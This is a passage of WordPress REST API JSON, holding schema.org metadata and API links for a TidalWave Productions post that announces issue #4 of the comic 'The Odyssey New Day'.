WEEK!","datePublished":"2026-05-11T22:56:41+00:00","dateModified":"2026-05-22T17:27:38+00:00","mainEntityOfPage":{"@id":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/"},"wordCount":125,"publisher":{"@id":"https:\/\/tidalwavecomics.com\/#organization"},"image":{"@id":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#primaryimage"},"thumbnailUrl":"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg","inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/","url":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/","name":"\"THE ODYSSEY NEW DAY\" ISSUE #4 OUT THIS WEEK! - TidalWave Productions","isPartOf":{"@id":"https:\/\/tidalwavecomics.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#primaryimage"},"image":{"@id":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#primaryimage"},"thumbnailUrl":"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg","datePublished":"2026-05-11T22:56:41+00:00","dateModified":"2026-05-22T17:27:38+00:00","breadcrumb":{"@id":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#primaryimage","url":"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg","contentUrl":"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg","width":1707,"height":2560},{"@type":"BreadcrumbList","@id":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/tidalwavecomics.com\/"},{"@type":"ListItem","position":2,"name":"&#8220;THE ODYSSEY NEW DAY&#8221; ISSUE #4 OUT THIS WEEK!"}]},{"@type":"WebSite","@id":"https:\/\/tidalwavecomics.com\/#website","url":"https:\/\/tidalwavecomics.com\/","name":"TidalWave Productions","description":"Comic book and graphic novel publisher","publisher":{"@id":"https:\/\/tidalwavecomics.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/tidalwavecomics.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/tidalwavecomics.com\/#organization","name":"TidalWave Productions","url":"https:\/\/tidalwavecomics.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/tidalwavecomics.com\/#\/schema\/logo\/image\/","url":"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2018\/04\/13308491_1125046477558648_5110097361027508911_o.jpg","contentUrl":"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2018\/04\/13308491_1125046477558648_5110097361027508911_o.jpg","width":954,"height":960,"caption":"TidalWave Productions"},"image":{"@id":"https:\/\/tidalwavecomics.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/TidalWaveProd\/","https:\/\/x.com\/TidalWaveProd","https:\/\/www.instagram.com\/darrengd\/","https:\/\/www.linkedin.com\/in\/darrengdavis\/","https:\/\/www.pinterest.com\/TidalWaveProd\/"]},{"@type":"Person","@id":"https:\/\/tidalwavecomics.com\/#\/schema\/person\/a1ad29b193c4b53c1553b35570cda1c6","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/122eb0fcd32e156721f719d72451b0542c4e5479103444d0ee43368413aacc9a?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/122eb0fcd32e156721f719d72451b0542c4e5479103444d0ee43368413aacc9a?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/122eb0fcd32e156721f719d72451b0542c4e5479103444d0ee43368413aacc9a?s=96&d=mm&r=g","caption":"admin"}}]}},"jetpack_featured_media_url":"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg","_links":{"self":[{"href":"https:\/\/tidalwavecomics.com\/index.php\/wp-json\/wp\/v2\/posts\/7821","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tidalwavecomics.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tidalwavecomics.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tidalwavecomics.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tidalwavecomics.com\/index.php\/wp-json\/wp\/v2\/comments?post=7821"}],"version-history":[{"count":2,"href":"https:\/\/tidalwavecomics.com\/index.php\/wp-json\/wp\/v2\/posts\/7821\/revisions"}],"predecessor-version":[{"id":7859,"href":"https:\/\/tidalwavecomics.com\/index.php\/wp-json\/wp\/v2\/posts\/7821\/revisions\/7859"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tidalwavecomics.com\/index.php\/wp-json\/wp\/v2\/media\/7822"}],"wp:attachment":[{"href":"https:\/\/tidalwavecomics.com\/index.php\/wp-json\/wp\/v2\/media?parent=7821"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tidalwavecomics.com\/index.php\/wp-json\/wp\/v2\/categories?post=7821"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tidalwavecomics.com\/index.php\/wp-json\/wp\/v2\/tags?post=7821"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}